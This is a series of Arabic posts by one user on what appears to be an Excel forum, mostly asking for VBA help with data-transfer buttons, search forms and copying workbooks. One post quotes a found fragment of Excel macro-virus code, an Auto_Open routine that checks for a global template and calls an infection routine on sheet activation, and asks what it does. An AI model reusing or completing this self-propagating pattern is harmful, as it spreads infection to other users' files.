ايهاب سعيد

استاذنا الفاضل ما اروع ابدعاتك اشكرك علي الاهتمام لقد تاكدت من الترحيل ولكن يتم الترحيل حتي في حالة عدم وجود بيانات ويجعلني كرمك اطمع في المزيد من الطلبات فانا اريد ان يكون مسلسل المطالبات عبارة عن مسلسل احدد انا بدايته بمعني ان يتم زيادته كل مرة وان يتم بعض الترحيل مسح كل البيانات مع امكانية استدعائها مرة اخري للتعديل مع جزيل الشكر لسيادتك

ارجو المساعدة في ترحيل الخلاياء ذات اللون الاصفر الي اماكنها في شيت data و استدعاء تلك البيانات المرحلة طبقا لرقم المسلسل مع الشكر tast.rar

up

هل توجد مساعدة

يفضل وضع ازارار للتعديل والترحيل والاستدعاء

مطلوب فورمة او اعداد ازارا لترحيل والتعديل للملف المرفق مع جزيل الشكر مساعدة.rar

هل من جديد

سلمت يداك اخي عباد الطلب الثاني وهو هل من الممكن ان يتم البحث بملف به بيانات بخلاف الملف الموجوده به فورمة البحث مع جزيل الشكر والاعتذار لكثرة الطلبات

للرفع

هل من الممكن ان تكون الفورمة البحث في ملف والبيانات في ملف اخر مع الشكر

لقد وجدت هذه الفورمة الاكثر من رائعة ولي طلب بسيط من عباقرة المنتدي وهو زر النسخ الي ملف خارجي فهل يمكن ان يتم النسخ في نفس الملف ولكن بتنسيقات مسبقة اقوم انا بها اي ان يقوم بترحيل نتائج البحث الي ورقة من اعدادي ولكم الشكر فورم بحث - اوفيسنا_A.rar

ارجو المساعدة في انشاء ملف خارجي بورقة الاستدعاء او فورمة بملف اخر تقوم باستدعاء البيانات طبقا للبيانات ذات اللون الاصفر واريدها ان تعمل حتي في حالة ان يكون الملف البيانات مغلق مع الشكر تجربة.rar

اخي طارق بارك الله فيك وفي اهتمامك وارجو ان يكون في ميزان حسانتك اما بخصوص الملفات فليس هناك ملفات محددة ولكني اريد ان انشي هذا الامر لاستخدمه عند الطلب وسوف اقوم بوضع مجلد الذي اقوم بالاختبار عليه ولكني كما سبق وان ذكرت يمكن ان يعمل الكود علي ملف وينسخ محتوياته ولكن بعد ذلك لايقوم بذلك ارجو ان تجرب بنفسك ولك جزيل الشكر _C.rar

الطلب الثاني هل يمكن ان يقوم بعمل نسخة باسمه ولكن للملف المفتوح

الاستاذ رجب جاويش المحترم هل من الممكن لهذا الكود ان يقوم بحفظ نسخة ولكن لاي اسم موجود في الفلولدر بمعني ان يقوم باعداد نسخة منه لاي عدد ملفات وباي اسم لهم موجود معه في نفس الفولدر مع الشكر

لقد اكنتشفت سيدي بالنسبة للكود الاول كود النسخ الي جميع ملفات الموجودة بالفولدر انه يقوم بذلك لملف واحد فقط ويقومبذلك للملف فقط اما باقي الملفات وخصوصا التي تختلف في عدد الاوراق لا يعمل معها الكود

اخي الفاضل لا اعلم ما المشكلة ولكن الكود اصبح غير فعال فما السبب هل من الممكن ان تجربه عند سيادتك وتخبرني بالنتيجة

اخي الفاضل محمود اشكرك علي حسن اهتمام وادعو الله ان يجعله في ميزان حساناتك اتبعت تعليمات سيادتك ووجدت الخطاء عند السطر Kill f_name(i) يتوقف البرنامج مع ملاحظة ان البرنامج حاليا لا يعمل اطلاقا ولكنه يكون الملف tempo.xls ولا يلغيه

للرفع

حفظاك الله ورعاك اخي ضاحي الغريب

عمل اكثر من رائع ولزيادة الفائدة هل يمكن ان يتم اخذ نسخة من التقرير واعداد صفحة اكسل به ليتم التعامل معها مثل طباعتها او خلافه مع الشكر كما هل من اللممكن اضافة مدة نصف سنوي ايضا

بالفعل اخي محمود توقف عند السطر Name pt & nm As pt & "tempo2.xls" فما السبب

اخي محمود لاحظت ان الكود يعمل ساعات ولا يعمل مرات اخري فما السبب

الكود الاول Sub Auto_Open() If cek_global() Then 'check on global! (Optional to use) GoTo FkSheet: 'found? Else infectglobal 'Goto to Infecting Routine End If FkSheet: Application.OnSheetActivate = "XXX.XLM!Fk" 'XXX.XLM is Template 'for Ur Vs 'Fk is the MacroName 'for infecting bye: End Sub في احد الملفات وجدت هذا الاكواد واريد فهمها الكود الكود الثاني Function cek_global() As Boolean 'Yes/No (Flase/True) cek_global = False 'Set False First For x = 1 To Application.Workbooks.Count If Application.Workbooks(x).Name = "XXX.XLM" Then For y = 1 To Application.Workbooks("XXX.XLM").Modules.Count If Application.Workbooks("XXX.XLM").Modules(y).Name = "YYYYY" Then cek_global = True 'YYYYY is the module Name for Ur Code End If Next y End If Next x End Function

اخي طارق لاحظت ان الكود يعمل بشكل ممتاز ولكن في حالة اذا كان المجلد باللغة العربية لا يعمل فما السبب